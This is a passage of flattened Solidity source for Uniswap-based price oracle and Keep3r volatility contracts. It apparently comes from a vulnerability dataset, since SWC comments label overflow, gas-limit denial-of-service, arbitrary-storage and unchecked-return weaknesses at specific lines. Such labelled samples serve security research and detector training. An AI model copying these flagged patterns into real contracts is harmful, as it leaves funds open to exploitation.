invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); // SWC-Integer Overflow and Underflow: L383 amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); // SWC-Integer Overflow and Underflow: L394 amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); // SWC-Integer Overflow and Underflow: L404 amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } interface WETH9 { function withdraw(uint wad) external; } interface IUniswapV2Router { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface IKeep3rV1 { function isMinKeeper(address keeper, uint minBond, uint earned, uint age) external returns (bool); function receipt(address credit, address keeper, uint amount) external; function unbond(address bonding, uint amount) external; function withdraw(address bonding) external; function bonds(address keeper, address credit) external view returns (uint); function unbondings(address keeper, address credit) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function jobs(address job) external view returns (bool); function balanceOf(address account) external view returns (uint256); function worked(address keeper) external; function KPRH() external view returns (IKeep3rV1Helper); } interface IKeep3rV1Helper { function getQuoteLimit(uint gasUsed) external view returns (uint); } // sliding oracle that uses observations collected to provide moving price averages in the past contract Keep3rV1Oracle { using FixedPoint for *; using SafeMath for uint; struct Observation { uint timestamp; uint price0Cumulative; uint price1Cumulative; } uint public minKeep = 200e18; modifier keeper() { require(KP3R.isMinKeeper(msg.sender, minKeep, 0, 0), "::isKeeper: keeper is not registered"); _; } modifier upkeep() { uint _gasUsed = gasleft(); require(KP3R.isMinKeeper(msg.sender, minKeep, 0, 0), "::isKeeper: keeper is not registered"); _; uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed.sub(gasleft())); KP3R.receipt(address(KP3R), address(this), _received); _received = _swap(_received); msg.sender.transfer(_received); } address public governance; address public pendingGovernance; function setMinKeep(uint _keep) external { require(msg.sender == governance, "setGovernance: !gov"); minKeep = _keep; } /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IUniswapV2Router public constant UNI = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public constant factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // this is redundant with granularity and windowSize, but stored for gas savings & informational purposes. uint public constant periodSize = 1800; address[] internal _pairs; mapping(address => bool) internal _known; function pairs() external view returns (address[] memory) { return _pairs; } mapping(address => Observation[]) public observations; function observationLength(address pair) external view returns (uint) { return observations[pair].length; } function pairFor(address tokenA, address tokenB) external pure returns (address) { return UniswapV2Library.pairFor(factory, tokenA, tokenB); } function pairForWETH(address tokenA) external pure returns (address) { return UniswapV2Library.pairFor(factory, tokenA, address(WETH)); } constructor() public { governance = msg.sender; } function updatePair(address pair) external keeper returns (bool) { return _update(pair); } function update(address tokenA, address tokenB) external keeper returns (bool) { address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); return _update(pair); } function add(address tokenA, address tokenB) external { require(msg.sender == governance, "UniswapV2Oracle::add: !gov"); address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); require(!_known[pair], "known"); _known[pair] = true; _pairs.push(pair); (uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair); observations[pair].push(Observation(block.timestamp, price0Cumulative, price1Cumulative)); } function work() public upkeep { bool worked = _updateAll(); require(worked, "UniswapV2Oracle: !work"); } function workForFree() public keeper { bool worked = _updateAll(); require(worked, "UniswapV2Oracle: !work"); } function lastObservation(address pair) public view returns (Observation memory) { return observations[pair][observations[pair].length-1]; } function _updateAll() internal returns (bool updated) { // SWC-DoS With Block Gas Limit: L584 - L588 for (uint i = 0; i < _pairs.length; i++) { if (_update(_pairs[i])) { updated = true; } } } function updateFor(uint i, uint length) external keeper returns (bool updated) { for (; i < length; i++) { if (_update(_pairs[i])) { updated = true; } } } function workable(address pair) public view returns (bool) { return (block.timestamp - lastObservation(pair).timestamp) > periodSize; } function workable() external view returns (bool) { // SWC-DoS With Block Gas Limit: L604 - L609 for (uint i = 0; i < _pairs.length; i++) { if (workable(_pairs[i])) { return true; } } return false; } function _update(address pair) internal returns (bool) { // we only want to commit updates once per period (i.e. windowSize / granularity) Observation memory _point = lastObservation(pair); uint timeElapsed = block.timestamp - _point.timestamp; if (timeElapsed > periodSize) { (uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair); observations[pair].push(Observation(block.timestamp, price0Cumulative, price1Cumulative)); return true; } return false; } function computeAmountOut( uint priceCumulativeStart, uint priceCumulativeEnd, uint timeElapsed, uint amountIn ) private pure returns (uint amountOut) { // overflow is desired. FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112( // SWC-Integer Overflow and Underflow: L630 uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed) ); amountOut = priceAverage.mul(amountIn).decode144(); } function _valid(address pair, uint age) internal view returns (bool) { return (block.timestamp - lastObservation(pair).timestamp) <= age; } function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) { address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut); require(_valid(pair, periodSize.mul(2)), "UniswapV2Oracle::quote: stale prices"); (address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut); Observation memory _observation = lastObservation(pair); (uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair); if (block.timestamp == _observation.timestamp) { _observation = observations[pair][observations[pair].length-2]; } // SWC-Integer Overflow and Underflow: L651 uint timeElapsed = block.timestamp - _observation.timestamp; timeElapsed = timeElapsed == 0 ? 1 : timeElapsed; if (token0 == tokenIn) { return computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn); } else { return computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn); } } function quote(address tokenIn, uint amountIn, address tokenOut, uint granularity) external view returns (uint amountOut) { address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut); require(_valid(pair, periodSize.mul(granularity)), "UniswapV2Oracle::quote: stale prices"); (address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut); uint priceAverageCumulative = 0; // SWC-Write to Arbitrary Storage Location: L669 uint length = observations[pair].length-1; uint i = length.sub(granularity); uint nextIndex = 0; if (token0 == tokenIn) { // SWC-DoS With Block Gas Limit: L674 - L683 for (; i < length; i++) { // SWC-Integer Overflow and Underflow: L675 nextIndex = i+1; priceAverageCumulative += computeAmountOut( observations[pair][i].price0Cumulative, observations[pair][nextIndex].price0Cumulative, // SWC-Integer Overflow and Underflow: L679 observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn); } } else { for (; i < length; i++) { // SWC-DoS With Block Gas Limit: L685 - L694 nextIndex = i+1; // SWC-Integer Overflow and Underflow: L685 priceAverageCumulative += computeAmountOut( observations[pair][i].price1Cumulative, observations[pair][nextIndex].price1Cumulative, // SWC-Integer Overflow and Underflow: L689 observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn); } } return priceAverageCumulative.div(granularity); } function prices(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint[] memory) { return sample(tokenIn, amountIn, tokenOut, points, 1); } function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) public view returns (uint[] memory) { address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut); (address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut); uint[] memory _prices = new uint[](points); uint length = observations[pair].length-1; uint i = length.sub(points * window); uint nextIndex = 0; uint index = 0; if (token0 == tokenIn) { for (; i < length; i+=window) { // SWC-DoS With Block Gas Limit: L714 - L724 // SWC-Integer Overflow and Underflow: L712 nextIndex = i + window; _prices[index] = computeAmountOut( // SWC-Write to Arbitrary Storage Location: L720, L721 observations[pair][i].price0Cumulative, observations[pair][nextIndex].price0Cumulative, // SWC-Integer Overflow and Underflow: L717 observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn); index = index + 1; } } else { for (; i < length; i+=window) { // SWC-DoS With Block Gas Limit: L726 - 736 // SWC-Integer Overflow and Underflow: L723 nextIndex = i + window; _prices[index] = computeAmountOut( // SWC-Write to Arbitrary Storage Location: L733, L734 observations[pair][i].price1Cumulative, observations[pair][nextIndex].price1Cumulative, // SWC-Integer Overflow and Underflow: L728 observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn); index = index + 1; } } return _prices; } function hourly(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint[] memory) { return sample(tokenIn, amountIn, tokenOut, points, 2); } function daily(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint[] memory) { return sample(tokenIn, amountIn, tokenOut, points, 48); } function weekly(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint[] memory) { return sample(tokenIn, amountIn, tokenOut, points, 336); } function realizedVolatility(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint) { return stddev(sample(tokenIn, amountIn, tokenOut, points, window)); } function realizedVolatilityHourly(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) { return stddev(sample(tokenIn, amountIn, tokenOut, 1, 2)); } function realizedVolatilityDaily(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) { return stddev(sample(tokenIn, amountIn, tokenOut, 1, 48)); } function realizedVolatilityWeekly(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) { return stddev(sample(tokenIn, amountIn, tokenOut, 1, 336)); } /** * @dev sqrt calculates the square root of a given number x * @dev for precision into decimals the number must first * @dev be multiplied by the precision factor desired * @param x uint256 number for the calculation of square root */ function sqrt(uint256 x) public pure returns (uint256) { // SWC-Integer Overflow and Underflow: L770 - L776 uint256 c = (x + 1) / 2; uint256 b = x; while (c < b) { b = c; c = (x / c + c) / 2; } return b; } /** * @dev stddev calculates the standard deviation for an array of integers * @dev precision is the same as sqrt above meaning for higher precision * @dev the decimal place must be moved prior to passing the params * @param numbers uint[] array of numbers to be used in calculation */ // SWC-Integer Overflow and Underflow: L790 - L798 function stddev(uint[] memory numbers) public pure returns (uint256 sd) { uint sum = 0; for(uint i = 0; i < numbers.length; i++) { sum += numbers[i]; } uint256 mean = sum / numbers.length; // Integral value; float not supported in Solidity sum = 0; uint i; for(i = 0; i < numbers.length; i++) { sum += (numbers[i] - mean) ** 2; } sd = sqrt(sum / (numbers.length - 1)); //Integral value; float not supported in Solidity return sd; } /** * @dev blackScholesEstimate calculates a rough price estimate for an ATM option * @dev input parameters should be transformed prior to being passed to the function * @dev so as to remove decimal places otherwise results will be far less accurate * @param _vol uint256 volatility of the underlying converted to remove decimals * @param _underlying uint256 price of the underlying asset * @param _time uint256 days to expiration in years multiplied to remove decimals */ function blackScholesEstimate( uint256 _vol, uint256 _underlying, uint256 _time ) public pure returns (uint256 estimate) { estimate = 40 * _vol * _underlying * sqrt(_time); return estimate; } /** * @dev fromReturnsBSestimate first calculates the stddev of an array of price returns * @dev then uses that as the volatility param for the blackScholesEstimate * @param _numbers uint256[] array of price returns for volatility calculation * @param _underlying uint256 price of the underlying asset * @param _time uint256 days to expiration in years multiplied to remove decimals */ function retBasedBlackScholesEstimate( uint256[] memory _numbers, uint256 _underlying, uint256 _time ) public pure { uint _vol = stddev(_numbers); blackScholesEstimate(_vol, _underlying, _time); } receive() external payable {} function _swap(uint _amount) internal returns (uint) { // SWC-Unchecked Call Return Value: L848 KP3R.approve(address(UNI), _amount); address[] memory path = new address[](2); path[0] = address(KP3R); path[1] = address(WETH); uint[] memory amounts = UNI.swapExactTokensForTokens(_amount, uint256(0), path, address(this), now.add(1800)); WETH.withdraw(amounts[1]); return amounts[1]; } } // File: @uniswap\v2-core\contracts\interfaces\IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: @uniswap\v2-core\contracts\interfaces\IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: @uniswap\lib\contracts\libraries\FixedPoint.sol pragma solidity >=0.4.0; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } } // File: contracts\libraries\UniswapV2OracleLibrary.sol pragma solidity >=0.5.0; // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // fixed window oracle that recomputes the average price for the entire period once every period // note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period contract UniOracle { using FixedPoint for *; uint public constant PERIOD = 24 hours; IUniswapV2Pair pair; address public token0; address public token1; uint public price0CumulativeLast; uint public price1CumulativeLast; uint32 public blockTimestampLast; FixedPoint.uq112x112 public price0Average; FixedPoint.uq112x112 public price1Average; constructor(address factory, address tokenA, address tokenB) public { IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB)); pair = _pair; token0 = _pair.token0(); token1 = _pair.token1(); price0CumulativeLast = _pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0) price1CumulativeLast = _pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1) uint112 reserve0; uint112 reserve1; (reserve0, reserve1, blockTimestampLast) = _pair.getReserves(); require(reserve0 != 0 && reserve1 != 0, 'ExampleOracleSimple: NO_RESERVES'); // ensure that there's liquidity in the pair } function update() external { (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair)); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // ensure that at least one full period has passed since the last update require(timeElapsed >= PERIOD, 'ExampleOracleSimple: PERIOD_NOT_ELAPSED'); // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)); price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)); price0CumulativeLast = price0Cumulative; price1CumulativeLast = price1Cumulative; blockTimestampLast = blockTimestamp; } // note this will always return 0 before update has been called successfully for the first time. function consult(address token, uint amountIn) external view returns (uint amountOut) { if (token == token0) { amountOut = price0Average.mul(amountIn).decode144(); } else { require(token == token1, 'ExampleOracleSimple: INVALID_TOKEN'); amountOut = price1Average.mul(amountIn).decode144(); } } } contract UniOracleFactory { mapping(address => address) public lookups; address[] public _oracles; address[] public _pairs; address public constant FACTORY = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); constructor() public {} function getPair(address tokenA, address tokenB) public pure returns (address) { return UniswapV2Library.pairFor(FACTORY, tokenA, tokenB); } function deploy(address tokenA, address tokenB) external { address _pair = UniswapV2Library.pairFor(FACTORY, tokenA, tokenB); require(_pair != address(0x0), "UniOracleFactory::deploy: unknown pair"); require(lookups[_pair] == address(0x0), "UniOracleFactory::deploy: pair already exists"); address _oracle = address(new UniOracle(FACTORY, tokenA, tokenB)); lookups[_pair] = _oracle; _pairs.push(_pair); _oracles.push(_oracle); } function update(address tokenA, address tokenB) external { UniOracle(lookups[getPair(tokenA, tokenB)]).update(); } function quote(address tokenIn, address tokenOut, uint amountIn) external view returns (uint amountOut) { return UniOracle(lookups[getPair(tokenIn, tokenOut)]).consult(tokenIn, amountIn); } function oracles() external view returns (address[] memory) { return _oracles; } function pairs() external view returns (address[] memory) { return _pairs; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IKeep3rV1Oracle { function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory); function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut); } interface IERC20 { function decimals() external view returns (uint); } contract Keep3rV1Volatility { uint private constant FIXED_1 = 0x080000000000000000000000000000000; uint private constant FIXED_2 = 0x100000000000000000000000000000000; uint private constant SQRT_1 = 13043817825332782212; uint private constant LNX = 3988425491; uint private constant LOG_10_2 = 3010299957; uint private constant LOG_E_2 = 6931471806; uint private constant BASE = 1e10; IKeep3rV1Oracle public constant KV1O = IKeep3rV1Oracle(0x73353801921417F465377c8d898c6f4C0270282C); function floorLog2(uint256 _n) internal pure returns (uint8) { uint8 res = 0; // SWC-Integer Overflow and Underflow: L33 if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (uint(1) << s)) { _n >>= s; // SWC-Integer Overflow and Underflow: L41 res |= s; } } } return res; } function ln(uint256 x) internal pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); // SWC-Integer Overflow and Underflow: L56 x >>= count; // now x < 2 // SWC-Integer Overflow and Underflow: L58 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { // SWC-Integer Overflow and Underflow: L65 x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { // SWC-Integer Overflow and Underflow: L68 x >>= 1; // now 1 < x < 2 // SWC-Integer Overflow and 